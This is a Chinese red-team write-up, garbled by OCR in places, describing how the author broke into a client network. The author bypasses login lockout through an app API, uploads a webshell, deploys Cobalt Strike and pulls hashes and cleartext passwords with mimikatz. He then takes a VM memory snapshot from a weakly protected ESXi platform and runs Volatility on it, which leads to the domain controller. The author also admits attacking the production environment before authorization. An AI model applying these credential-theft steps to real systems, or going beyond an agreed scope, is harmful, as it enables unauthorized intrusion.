你虚拟机没了

原创海岸线突击队 酒仙桥六号部队 2020-09-10原文

> 这是 **酒仙桥六号部队** 的第 **79** 篇文章。 全文共计1061个字, 预计阅读时长5分钟。

前言

常规渗透测试中碰到了虚拟化平台,利用虚拟化平台特性直捣域控,什么内网横向都不存在的,一招致命。

开搞

首先是常规的外网需要进入内网。(时间较久,损失部分截图后面 单补)在客户给到测试环境前有点没忍住,先把生产环境打了。打 完客户才给到测试环境,但是都已经晚了。 客户给到了一个后台,但是一开始登录有限制。看图



错误次数有限制。所以没法爆破,但是我会放弃么?下面IOS二维码 扫起来,嘿嘿这里面就没有登录限制了。



发现锁定用户的安全策略只是在web端进行了校验,而app端未进行 任何校验,在登陆接口处进行抓包发现上述接口,该接口没有对登 陆次数做校验而是直接匹配 account 和 password 进行账号密码是否正确的校验,账号密码正确则返回用户一些信息

0

账号密码正确返回:

€ →	C 🛆 4 fogin json onfirmReplace=1&latitude=31.251375&longitude=121.493667 pessword + 💌 🗮
E 68	
1	// 20200603110133
Z	
3	
5	"status": "true"
6	"mso" : "FDR2042E624848E727686C7F484A7C57".
7 +	"dato": {
8	"id": 21.
9	account: "Week",
10	"password": "250cmm" #08AF464C76D713C07AD",
11	"picUrl": null, ● SHS密码正确返回的信息
12	"empil": null,
13	"state": 1,
14	"lostlogindate": "2020-06-03 11:01:33",
15	"lostloginip": "111 June",
16	"errorcount": 0,
17	"errordate": "2020-05-27 15:15:14",
18	"islock": 1,
19	"createdate": "2016-08-28 15:32:56",
20	phone: null,
22	UserNone:
22	"aseriype: NSBAN",
24	orguna :
25	*tant 4*: will.
26	"rolelevel": null.
27	"teamkame": null.
28	"isAuthFace": false,
29	"deptId": null,
3.0	"imposeDath": "https://www.selecture.com/public/"

账号密码错误返回事例,失败则返回状态为 false,msg字段返回 4 。

÷	→ œ c	5
1 2 3 4 5 6 7	a	⊶678 码错误返回事例

就这样,第一步,轻轻松松进去了,就跟在玩一样。 进去之后随便找了个上传点getshell了。



URL)2005	525/1590396	33356164.jsp	•		已连接
基本信息	命令执行	虚拟终端	文件管理	Socks代理	反3#Shell	数据库管理	自定义代码	备忘录	更新信息	
D:\apach	e-tomcat-	7.0.70 ≻wh	omai							
D:\apach nt author	e-tomcat- ity\system	7.0.70 >wh	oami							
D:\apach	e-tomcat-	7.0.70 > net	user							
\\ 的用户	版户									
Administi uploadus 命令运行的	rator er 15毕,但没	Guest 生—个戒多 [。]	NBR.	hand						
D:\apach	e-tomcat-	7.0.70 >								

出网,上CS。

	🖼 🛫 🏓 🖬 🤹 🎃	8 🗠 🕜 🛋 📕 🛊								
external	internal 🔶	listener	user	computer	note	process	pid	arch	last	
51	192.168.1.4	1	SYSTEM *	APPSVR-4	新上		8496	x64	25ms	
55.	192.168.1.4	1	SYSTEM *	APPSVR-4		10000	22380	x64	90ms	
0				0						
日志X Beacon 192.16	8.1.4@8496 X 凭据信息	息X								
user	password	realm 🔺	not	e	source	host	add	ed		
hand	ad1a453586	cf5dabe6 APPSVR-4			hashdump	192.168.1.4	05/2	26 20:08:48	<u>^</u>	
uploaduser	281b7bf7cff4	46a3404d APPSVR-4			hashdump	192.168.1.4	05/2	26 20:08:48		
Guest	e0d16ae931	1b73c59d APPSVR-4			hashdump	192.168.1.4	05/2	26 20:08:48		
Administrator	166348856b	7ded1b5 APPSVR-4			mimikatz	192.168.1.4	05/2	25 17:05:34		
Administrator	IVG8	APPSVR-4			mimikatz	192 168 1 4	05/2	25 17:05:34		

抓了密码,都不是什么弱口令,密码规则很强,随意内网探测了一 波。发现了一个某服的虚拟化平台。一不小心,弱口令就进去了, 唉,运气太好没办法。

SRIVGFOR actione		_													
aCloud#3080 VMware#308	n														
	■ +xt = 218.	() IN R	「 ④新潮 [〕 新増2		1≘	□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□	5操作							投票
■ ■ 搜索分组 Q		_	_	_	_	_		_	_	_	_			_	
🖃 🧁 #2510#1. (38)					на		HA		HA						на
							- * *								
) 24	1	用友249		湖县中心		编载中心	, I			绿质加克服务者	102	-		
- <mark></mark> PM (7)	CPU	0%	CPU	0%	CPU	1%	CPU	4%	CPU	0%	CPU	0%	CPU	3%	CPU
	内存	11%	内存	18%	内存	14%	内存	18%	内存	12%	内存	28%	内存	16%	内存
	战 盘使用车	21%	就象後用车	19%	就 盘使用车	1%		1%	就 盘使用车	12%	就会使用车	9%	祝 盘使用车	24%	
	_	_	_	_		_			-		-			_	5
	на		HA				на				HA		НА		HA
(2)							- * *		- * *						
		121							副城19252		电子监约		調査用	31	
	CPU	4%	CPU	3%	CPU	0%	CPU	1%	CPU	0%	CPU	4%	CPU	9%	CPU
	内存	25%	内存	5%	内存	38%	内存	50%	内存	15%	内存	43%	内存	30%	内存
l (second de la constante de la	磁盘使用车	17%	磁盘使用案	15%	磁盘使用车	15%	磁盘使用率	25%	磁盘使用车	19%	磁盘使用率	8%	磁盘使用率	9%	祖島
	_		_		_				_		-		_		
	на		на		на						на		HA		
L #83,5948 (0)	-350				3%		36		3%		3%		3%	_	

进去了咋办呢,用的esxi类型的虚拟化,在这种界面只能开关机操作。但是我会放弃么?行吧那就先放放,装环境干他。

Volatility取证在esxi及虚拟化平台应用:

本机ubuntu18.04

获取工具git clone

_____|

https://github.com/volatilityfoundation/volatility.git

获取插件

wget

"https://raw.githubusercontent.com/dfirfpi/hotoloti/master/volat ility/mimikatz.py"

这里需要在python2.7下运行,同时还需要安装pip包,这些都是排 坑经验,小黑板重点

装完之后,我们把虚拟化里面的任意一台机器进行快照,快照的时候需要选择把内存加入到快照中,然后我们下载虚拟机快照即可。 快照下回来放本机,开整[~]!

在这里需要注意一点情况就是,虚拟机内存多大,快照多大。不多 说,上图:

```
root@ubuntu:~# ls
frp volatility win7.vmem
root@ubuntu:~# []
```

首先是查看相关虚拟机信息;

Python vol.py -f imagepath imageinfo

INFÓ : volatility.debug : Determining profile based on KDBG search
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2S
1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layerl : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/root/win7.vmem)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80003c33070L
Number of Processors : 2
Image Type (Service Pack) : 0
KPCR for CPU 0 : 0xfffff80003c34d00L
KPCR for CPU 1 : 0xfffff880009ee000L
KUSER SHARED DATA : 0xffff7800000000L
Image date and time : 2020-08-06 12:16:35 UTC+0000
Image local date and time : 2020-08-06 20:16:35 +0800

接着我们可以直接抓hash或者查看内存信息等等操作;

Python	vol.py	-f i	magepath	_	profile	=Win7SP1x64
pslist	//	列		内	存	-
profile⊑	中的内容为:	imagei	nfo给出的指	盾件s	uggest	profile建议

object file: No c	uch file or directory)	atware.	Carlbac	.KS (USE	rior: /u	51/110/	Cibyara.so: Camiot open shared
offset(V) Exit	Name	PID	PPID	Thds	Hnds	Sess	Wow64 Start
)xfffffa80018beb30 -0000	System	4	Θ	85	583		0 2020-08-06 11:43:06 UTC
)xfffffa8002dce7e0 -0000	smss.exe	236	4	2	33		0 2020-08-06 11:43:06 UTC
0xfffffa80035fd060 -0000	csrss.exe	316	308	9	451	Θ	0 2020-08-06 11:43:08 UTC
)xfffffa8002c74960 -0000	wininit.exe	352	308	3	77	Θ	0 2020-08-06 11:43:08 UTC
xfffffa80018c2770 0000	csrss.exe	368	344	10	237	1	0 2020-08-06 11:43:08 UTC
)xfffffa8003635060 -0000	winlogon.exe	404	344	5	133	1	0 2020-08-06 11:43:08 UTC
0xfffffa8003608b30 -0000	services.exe	448	352	9	198	Θ	0 2020-08-06 11:43:08 UTC
0xfffffa80036af500 -0000	lsass.exe	472	352	8	700	Θ	0 2020-08-06 11:43:08 UTC
0xfffffa80036768d0 -0000	lsm.exe	480	352	9	222	Θ	0 2020-08-06 11:43:08 UTC
0xfffffa800370a060 -0000	svchost.exe	580	448	11	354	Θ	0 2020-08-06 11:43:08 UTC
0x1111ffa8003749370 -0000	svchost.exe	652	448	8	250	Θ	0 2020-08-06 11:43:08 UTC
0xfffffa8002409060 -0000	sppsvc.exe	828	448	4	156	Θ	0 2020-08-06 11:43:10 UTC
0xfffffa8001900160 -0000	svchost.exe	868	448	20	460	Θ	0 2020-08-06 11:43:12 UTC
0x1111ffa8001902b30	svchost.exe	892	448	36	1198	Θ	0 2020-08-06 11:43:12 UTC
0000 0000 0000000000000000000000000000	svchost.exe	932	448	19	466	Θ	0 2020-08-06 11:43:12 UTC
0xfffffa8002706b30 -0000	svchost.exe	280	448	13	341	Θ	0 2020-08-06 11:43:36 UTC
0000 000 00000000000000000000000000000	svchost.exe	308	448	22	725	Θ	0 2020-08-06 11:43:36 UTC
0000 0000 0000000000000000000000000000	spoolsv.exe	1164	448	14	513	Θ	0 2020-08-06 11:43:38 UTC
0xfffffa80027e8b30 -0000	svchost.exe	1192	448	18	311	Θ	0 2020-08-06 11:43:38 UTC
0000 000 00000000000000000000000000000	SearchIndexer.	1820	448	13	720	Θ	0 2020-08-06 11:44:27 UTC
0xfffffa8001a59b30 -0000	taskhost.exe	1536	448	8	204	1	0 2020-08-06 11:44:36 UTC
)xfffffa8001a8ab30	dwm.exe	768	868	3	74	1	0 2020-08-06 11:44:36 UTC

usi, (10,, usi, (10,, usi,

Python vol.py -f imagepath -profile=Win7SP1x64 netscan //列出网络状态 可以确定内网IP

X/euoiiio		49130		CT31CIATIAO	440	Sel ATCESTEVE	
0x7ed9a960	TCPv4	0.0.0.0:49156	0.0.0.0:0	LISTENING	448	services.exe	
0x7edbb010	TCPv4	0.0.0.0:3389	0.0.0.0:0	LISTENING	308	svchost.exe	
0x7eb12cf0	TCPv4	-:49285	117.180.231.134:443	CLOSED	2712	chrome.exe	
0x7eb19cf0	TCPv4	-:49310	223.5.5.5:443	CLOSED	892	svchost.exe	
0x7ee00530	UDPv6	::1:1900	*:*		1632	svchost.exe	2020-08-06 11:52:1
L UTC+0000							
0x7f115110	UDPv4	172.16.1.204:137	*:*		4	System	2020-08-06 11:52:1

Python vol.py -f imagepath -profile=Win7SP1x64 hashdump //dump内存hash

*** Failed to import volatility.plu	gins.malware.callbacks (OSError: /usr/lib/libyara.so: canno
rectory)	
Administrator:500:aad3b435b5?* *	***435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad	.J4ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
admin:1000:aad3b435b51404eeaa~	51404ee:b660e61adc0aec1fe34711e6226fcc8c:::
root@ubuntu:~/volatility# 🛛	

这时候也可以使用mimikatz插件抓取明文;

python vol.py --plugins=/root/volatility/plugins/ --

profile=Win7SP1x64 -f ../win7.vmem mimikatz

*** Faile	ed to import volat	tility.plugins.mal	ware.callbacks (OSError: /usr/lib/libyara.so: cann
Module	User	Domain	Password
wdigest wdigest root@ubun	admin WIN-H6RRI9KM4GN\$ htu:~/volatility#	admin-PC WORKGROUP	Aal2

所以利用这个操作,我们直接干域控!

Cobalt Strike 视图 攻击 报	告 帮助							
	9 🛨 🔎 🖾 🏟 🎃 🖺 🕞 🥔 🛋 📕 🏶							
erternal	internal -	user	computer	note	process	pid	arch	last
147 .95	192.168.1.4		APPSVR-4	新上		8496	x64	63ms
100 C	192.168.1.4		APPSVR-4		Joome.exe	22380	x64	47ms
101	192.168.1.5		PDC		powershell.exe	1504	x86	167ms
😻 t	192.168.1.5		PDC		rundll32.exe	10484	x86	73ms
107	192.168.1.53		FILESVR-53		powershell.exe	4772	x86	593ms
🐺 1	192.168.1.169	and the second second	WIN-4G1IU31R2SB		rundll32.exe	5508	x64	326ms
X	192.168.1.169		WIN-4G1IU31R2SB		powershell.exe	5816	x64	183ms
😻 ' 👘	192.168.1.252	and the second second	FUYUKONG-252		powershell.exe	5116	x86	3h
State 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1 - 1	192.168.1.252	A REAL PROPERTY AND A REAL	FUYUKONG-252		powershell.exe	5376	x64	11ms
	192.168.1.252		FUYUKONG-252		rundil32.exe	6748	x64	28ms

看见可爱的域控上线那我这个心真的是都快化了呢。





长按二维码关注 酒仙桥六号部队

精选留言

用户设置不下载评论